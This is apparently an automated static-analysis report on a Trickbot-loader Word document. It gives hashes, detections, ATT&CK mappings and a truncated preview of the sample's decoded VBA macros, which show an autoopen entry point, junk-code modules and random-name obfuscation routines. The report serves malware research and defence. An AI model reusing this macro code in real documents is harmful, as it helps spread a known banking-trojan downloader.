Trickbot — Office (OLE) malware analysis

Static analysis result for SHA-256 40e88b0054c094b2…

MALICIOUS

Office (OLE)

130.5 KB Created: 2017-10-06 14:11:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: 575b4022fe3f1578f61cf2982cc47733 SHA-1: 798a10958a0f19c2b3db4baf1a76bbd4b7a9d957 SHA-256: 40e88b0054c094b2836c20c270b2764e9dc1efc3a64d7b5e3830dcd83260f09e
202 Risk Score

Malware Insights

Trickbot · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Win.Downloader.Trickbot-6344490-1, strongly suggesting the Trickbot family. Static analysis reveals the presence of VBA macros, including an autoopen macro, and a critical 'Shell()' call, indicating the execution of arbitrary code. This functionality is consistent with a downloader designed to fetch and execute additional malicious components.

Heuristics 6

  • ClamAV: Win.Downloader.Trickbot-6344490-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Downloader.Trickbot-6344490-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10426 bytes
SHA-256: b0cfb77a9e68a90dc4849797b816df475a9b86c3725f7bcfc633b0f8f3a7777c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
myfunc2
End Sub

Attribute VB_Name = "Module1"
Function generateFuncName()
Randomize
countSymbols = CInt(Int((9 * Rnd()) + 4))
symbolRand = CInt(Int(((LFS + 1) * Rnd()) + 1))
gName = Mid(FS, symbolRand, 1)
For i = 2 To countSymbols - 1
symbolRand = CInt(Int(((Len(MS1) + 1) * Rnd()) + 1))
gName = gName + Mid(MS1, symbolRand, 1)
Next i
symbolRand = CInt(Int(((LLS + 1) * Rnd()) + 1))
gName = gName + Mid(LS, symbolRand, 1)

generateFuncName = gName
End Function


Attribute VB_Name = "Module2"
Function myfunc2()
myform1.TextBox1 = "234"
End Function

Attribute VB_Name = "Module3"
Function createTextString(str)
UserForm2.MyText = str
End Function


Attribute VB_Name = "Module4"
Sub puta10()
If 776 = 515 Then
Dim ypost
ypost = True
Dim amyp
amyp = True
Rem fjhfgktu
End If
End Sub


Attribute VB_Name = "Module5"
Sub puta8()
Select Case "obowwa"
Case "gtappp"
' igcik igjo bqafy eca orosz igumina coj
Rem bmofpibuty yfajaplewc gikcadwasz fom
End Select
End Sub




Attribute VB_Name = "Module6"
Sub puta7()
Select Case 307
Case 445
Rem urroznohtobq ytfyqowa uwi
Rem ltot fkufa vycoxcale
Dim zyfsyc
zyfsyc = True
Dim bilmolra
bilmolra = #6/3/1968#
Case 513
Dim ivkazre
ivkazre = False
End Select
End Sub


Attribute VB_Name = "Module7"
Sub puta6()
If 437 = 810 Then
Dim adoljedw
adoljedw = "3388"
Dim inelowj
inelowj = "2827"
End If
End Sub


Attribute VB_Name = "Module8"
Sub puta9()
If 514 = 484 Then
Dim avniv
avniv = "8253"
End If
End Sub

Attribute VB_Name = "Module9"
Sub puta5()
Select Case 335
Case 355
Dim zzuwjybd
zzuwjybd = True
Case 238
Rem haputgiwk qymybij cejexc zojenxu ulgiqdykk zurb emyksemce
Rem zzeqmy ozybjo voxtisu xxolqygkuxu duqok akti xawvy
Case 260
Dim innoff
innoff = True
Dim nmiflu
nmiflu = "cy"
End Select
End Sub

Attribute VB_Name = "Module10"
Sub puta4()
Select Case "ebg"
Case "pe"
Dim evise
evise = #9/2/1955#
Dim nxazed
nxazed = 3354
Dim ymcipd
ymcipd = "3979"
Rem ibmatl vhahq awehli vlewkytzovw
Case "fego"
Dim nkyfe
nkyfe = "utn"
Rem ojytceni
Case "agam"
Dim evaxsa
evaxsa = False
Dim mezuks
mezuks = #11/18/1967#
Dim rsesziz
rsesziz = #5/18/1977#
End Select
End Sub

Attribute VB_Name = "Module11"
Sub puta3()
Select Case "ikg"
Case "mmuxweb"
' ajrewolbyvv egelma oxwa uloccutpu jajo uwpyrryten
Dim ivgekm
ivgekm = #10/23/1973#
Rem mseruzvi ozmagi ekykpobh ybxuj apfyqnyzgu cokuju onjacqull
End Select
End Sub

Attribute VB_Name = "Module12"
Function LS()
LS = UserForm1.lastSymbol
End Function

Function LLS()
LLS = Len(LS)
End Function

Function FS()
FS = myform1.firstSymbol
End Function

Function LFS()
LFS = Len(FS)
End Function

Function MS1()
MS1 = UserForm1.middleSymbol1
End Function

Function MS2()
MS2 = UserForm1.middleSymbol2
End Function

Attribute VB_Name = "Module13"
Function generateFileName1()
Randomize
countSymbols = CInt(Int((9 * Rnd()) + 4))
symbolRand = CInt(Int(((LFS + 1) * Rnd()) + 1))
gn = Mid(FS, symbolRand, 1)
For i = 2 To countSymbols - 1
symbolRand = CInt(Int(((Len(MS2) + 1) * Rnd()) + 1))
gn = gn + Mid(MS2, symbolRand, 1)
Next i
symbolRand = CInt(Int(((LLS + 1) * Rnd()) + 1))
gn = gn + Mid(LS, symbolRand, 1)

generateFileName1 = gn
End Function

Attribute VB_Name = "Module14"
Function generateArgName()
Randomize
countSymbols = CInt(Int((9 * Rnd()) + 4))
symbolRand = CInt(Int(((LFS + 1) * Rnd()) + 1))
gName = Mid(FS, symbolRand, 1)
For i = 2 To countSymbols - 1
symbolRand = CInt(Int(((Len(MS1) + 1) * Rnd()) + 1))
gName = gName + Mid(MS1, symbolRand, 1)
Next i
symbolRand = CInt(Int(((LLS + 1) * Rnd()) + 1))
gName = gName + Mid(LS, symbolRand, 1)

generateArgName = gName
End Function

Attribute VB_Name = "myform1"
Attribu
... (truncated)

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